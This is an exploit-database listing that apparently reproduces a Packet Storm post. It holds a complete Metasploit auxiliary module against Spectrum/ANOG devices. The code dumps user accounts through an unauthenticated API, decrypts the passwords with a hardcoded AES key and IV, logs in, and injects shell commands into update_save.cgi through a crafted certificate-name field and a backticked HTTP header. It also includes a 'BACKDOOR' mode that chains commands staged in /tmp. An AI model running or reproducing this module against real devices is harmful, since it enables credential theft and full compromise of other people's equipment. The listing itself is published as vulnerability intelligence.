Lucene search
K

📄 Spectrum ANOG Device Credential Extraction / Command Injection

🗓️ 09 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 60 Views

Metasploit auxiliary targets spectrum devices to extract credentials, decrypt passwords, and perform authenticated command injection.

Code
==================================================================================================================================
    | # Title     : Spectrum ANOG Device Credential Extraction and Command Injection RCE                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : No standalone download available                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets Spectrum/ANOG devices and combines credential extraction, password decryption, and remote command execution through an authenticated command-injection flaw.
    
    [+] The module operates in multiple phases:
    
    Device enumeration: Retrieves device identifiers (ID and MAC address) via a publicCmd API endpoint.
    Credential extraction: Queries user accounts from configuration endpoints and decrypts stored passwords using a predefined AES-128-CBC key/IV pair.
    Authentication handling: Supports both encrypted (RSA-based) and unencrypted login flows depending on the device response.
    Command execution (RCE): Exploits a command injection vector in a CGI endpoint (update_save.cgi) by injecting shell commands through manipulated POST parameters and HTTP headers.
    Backdoor mode: Attempts to execute system-level commands to stage persistence-like behavior on the target device after authentication.
    
    [+] The module supports three operational modes:
    
    EXTRACT: Dumps and decrypts device user credentials.
    RCE: Logs in using extracted credentials and executes a user-defined command.
    BACKDOOR: Attempts to execute chained system commands to establish persistence.
    
    [+] POC   :  
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name' => 'Spectrum/ANOG Device - Credential Extractor and RCE',
          'Description' => 'Extract credentials and exploit command injection',
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE,
          'DefaultAction' => 'EXTRACT'
        ))
    
        register_options([
          Opt::RPORT(80),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('COMMAND', [false, 'Command', 'id'])
        ])
      end
    
      AES_KEYS = [
        ['0vMAXsPECTRUMnANUGOcErritos16220', 'dIgItALwATCHdOG3']
      ].freeze
    
      def get_device_info
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
          'ctype' => 'application/json',
          'data' => { command: 'getDeviceInfo' }.to_json
        })
    
        return [nil, nil] unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        return [nil, nil] unless json.is_a?(Hash)
    
        reply = json['reply']
        return [nil, nil] unless reply.is_a?(Hash)
    
        [reply['id'], reply['mac']]
      end
    
      def get_users(id, mac)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
          'ctype' => 'application/json',
          'data' => {
            method: 'get',
            command: 'setup/general/user',
            id: id,
            mac: mac
          }.to_json
        })
    
        return [] unless res && res.code == 200
    
        json = res.get_json_document rescue nil
        return [] unless json.is_a?(Hash)
    
        reply = json['reply']
        return [] unless reply.is_a?(Hash)
    
        reply['users'] || []
      end
    
      def decrypt_password(enc)
        require 'base64'
        require 'openssl'
    
        data = Base64.decode64(enc)
    
        AES_KEYS.each do |key, iv|
          begin
            cipher = OpenSSL::Cipher.new('AES-128-CBC')
            cipher.decrypt
            cipher.key = key
            cipher.iv = iv
    
            dec = cipher.update(data) + cipher.final
    
            padding = dec[-1].ord
            dec = dec[0...-padding] if padding.between?(1, 16)
    
            return dec
          rescue
            next
          end
        end
    
        nil
      end
    
      def login(username, password)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/login.cgi')
        })
    
        return nil unless res
    
        if res.body.include?('rsa_pub_key') && res.body.include?('rsa_session_key')
          return encrypted_login(username, password, res)
        end
    
        unencrypted_login(username, password)
      end
    
      def unencrypted_login(username, password)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
          'vars_post' => {
            login_os: 'win',
            login_type: '1',
            login_id: username,
            login_pwd: password
          }
        })
    
        return nil unless res
    
        if res.code == 302 && res.headers['Location'] && !res.headers['Location'].include?('login.cgi')
          return res.get_cookies
        end
    
        nil
      end
    
      def encrypted_login(username, password, res)
        cookies = res.get_cookies
    
        pub = extract_rsa(res.body, 'rsa_pub_key')
        sess = extract_rsa(res.body, 'rsa_session_key')
    
        return nil unless pub && sess
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
          'cookie' => cookies,
          'vars_post' => {
            login_os: 'win',
            login_type: rsa_encrypt('1', pub),
            enc_uid: rsa_encrypt(username, pub),
            enc_upwd: rsa_encrypt(password, pub),
            rsa_session: sess,
            rnd_key: rand(64)
          }
        })
    
        cookies
      end
    
      def extract_rsa(body, key)
        return $1 if body =~ /"#{key}"\s*:\s*"([^"]+)"/
        nil
      end
    
      def rsa_encrypt(data, pub)
        require 'openssl'
        require 'base64'
    
        key = OpenSSL::PKey::RSA.new(Base64.decode64(pub))
        Base64.strict_encode64(key.public_encrypt(data))
      rescue
        data
      end
    
      def execute_command(cookies, cmd, cmd2 = nil)
        category = 'setup_network_https_cert_view'
        cert_name = "a\" # \n #{cmd} # \""
    
        headers = {}
        headers['abcdef'] = "ghi`#{cmd2}`jkl" if cmd2
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'cgi-bin/update_save.cgi'),
          'cookie' => cookies,
          'vars_post' => {
            category: category,
            cert_name: cert_name
          },
          'headers' => headers
        })
    
        return nil unless res
        res.body
      end
    
      def run_host(_ip)
        case action.name
        when 'EXTRACT'
          extract_credentials
        when 'RCE'
          execute_rce_flow
        when 'BACKDOOR'
          install_backdoor
        end
      end
    
      def extract_credentials
        id, mac = get_device_info
        return unless id && mac
    
        users = get_users(id, mac)
        return if users.empty?
    
        users.each do |u|
          user = u['username']
          pass = u['password']
          next unless user && pass
    
          dec = decrypt_password(pass)
          print_good("#{user}:#{dec}") if dec
        end
      end
    
      def execute_rce_flow
        id, mac = get_device_info
        return unless id && mac
    
        users = get_users(id, mac)
        return if users.empty?
    
        users.each do |u|
          user = u['username']
          pass = decrypt_password(u['password'])
          next unless user && pass
    
          cookies = login(user, pass)
          next unless cookies
    
          print_good("Logged in as #{user}")
    
          res = execute_command(cookies, datastore['COMMAND'])
          print_status(res) if res
          break
        end
      end
    
      def install_backdoor
        id, mac = get_device_info
        return unless id && mac
    
        users = get_users(id, mac)
    
        users.each do |u|
          user = u['username']
          pass = decrypt_password(u['password'])
          next unless user && pass
    
          cookies = login(user, pass)
          next unless cookies
    
          cmd = "cp /proc/self/environ /tmp/.e0 # \n sh /tmp/.e0 # \n rm /tmp/.e0 #"
          execute_command(cookies, cmd, "rm -f /tmp/.go.cgi")
    
          print_good("Backdoor installed")
          break
        end
      end
    end
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation